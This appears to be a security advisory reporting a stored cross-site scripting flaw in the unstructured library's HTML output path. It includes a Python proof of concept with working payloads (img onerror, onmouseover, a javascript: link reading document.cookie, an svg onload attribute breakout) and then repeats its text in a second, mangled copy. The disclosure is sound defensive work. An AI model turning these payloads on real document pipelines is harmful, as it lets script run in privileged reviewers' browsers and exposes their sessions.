Summary
When unstructured parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. <img src=x onerror=...>) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.
Details
partition_html(html_parser_version="v2") (and the VLM partitioner) preserve the input document's element tags, attributes, and text into metadata.text_as_html, and elements_to_html() outputs that as an HTML document.
The function that builds HTML on this path, to_html() in unstructured/documents/ontology.py, performs no escaping at all. As a result, event handlers such as onerror / onmouseover / onload originating from the input document are left in the output HTML as-is (literal <script> tags are stripped by the parser, but attribute-based vectors and javascript: URLs are not). In addition, link URLs are not scheme-filtered, so <a href="javascript:..."> is also emitted.
Relevant source: documents/ontology.py (to_html, _construct_attribute_string, _generate_final_html); partition/html/transformations.py (text_as_html = ontology_element.to_html()); partition/html/convert.py (elements_to_html).
PoC
Environment: downloads.unstructured.io/unstructured-io/unstructured:latest, unstructured 0.23.3.
from unstructured.partition.html import partition_html
from unstructured.partition.html.convert import elements_to_html
malicious = ('<body class="Document">'
'<p class="Paragraph" onmouseover="alert(1)">hello'
'<img src=x onerror="alert(document.domain)"></p>'
'<a class="Hyperlink" href="javascript:alert(document.cookie)">click me</a>'
'</body>')
els = partition_html(text=malicious, html_parser_version="v2")
open("xss_output.html", "w").write(elements_to_html(list(els), no_group_by_page=True))elements_to_html() output body — the unescaped vectors survive:
<p class="NarrativeText" id="..." onmouseover="alert(1)">
<p class="Paragraph">hello</p>
<img class="Image" onerror="alert(document.domain)" src="x"/>
</p>
<a class="UncategorizedText" href="javascript:alert(document.cookie)" id="...">click me</a>
Opening xss_output.html in a browser fires alert automatically (via <img onerror>), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):
| Vector |
Trigger |
Cause |
<img onerror> |
open file (auto) |
element text not escaped |
<svg onload> (via title='"><svg ...>') |
open file (auto) |
attribute value not escaped (" breakout) |
<a href=javascript:> |
click |
link URL scheme not filtered |
onmouseover |
hover |
source attribute preserved as-is |
Impact
Stored XSS caused by improper output encoding. Anyone who renders the HTML or text_as_html generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, <img onerror> fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.
Summary
When
unstructuredparses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g.<img src=x onerror=...>) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.Details
partition_html(html_parser_version="v2")(and the VLM partitioner) preserve the input document's element tags, attributes, and text intometadata.text_as_html, andelements_to_html()outputs that as an HTML document.The function that builds HTML on this path,
to_html()inunstructured/documents/ontology.py, performs no escaping at all. As a result, event handlers such asonerror/onmouseover/onloadoriginating from the input document are left in the output HTML as-is (literal<script>tags are stripped by the parser, but attribute-based vectors andjavascript:URLs are not). In addition, link URLs are not scheme-filtered, so<a href="javascript:...">is also emitted.Relevant source:
documents/ontology.py(to_html,_construct_attribute_string,_generate_final_html);partition/html/transformations.py(text_as_html = ontology_element.to_html());partition/html/convert.py(elements_to_html).PoC
Environment:
downloads.unstructured.io/unstructured-io/unstructured:latest,unstructured0.23.3.elements_to_html()output body — the unescaped vectors survive:Opening
xss_output.htmlin a browser firesalertautomatically (via<img onerror>), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):<img onerror>textnot escaped<svg onload>(viatitle='"><svg ...>')"breakout)<a href=javascript:>onmouseoverImpact
Stored XSS caused by improper output encoding. Anyone who renders the HTML or
text_as_htmlgenerated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result,<img onerror>fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.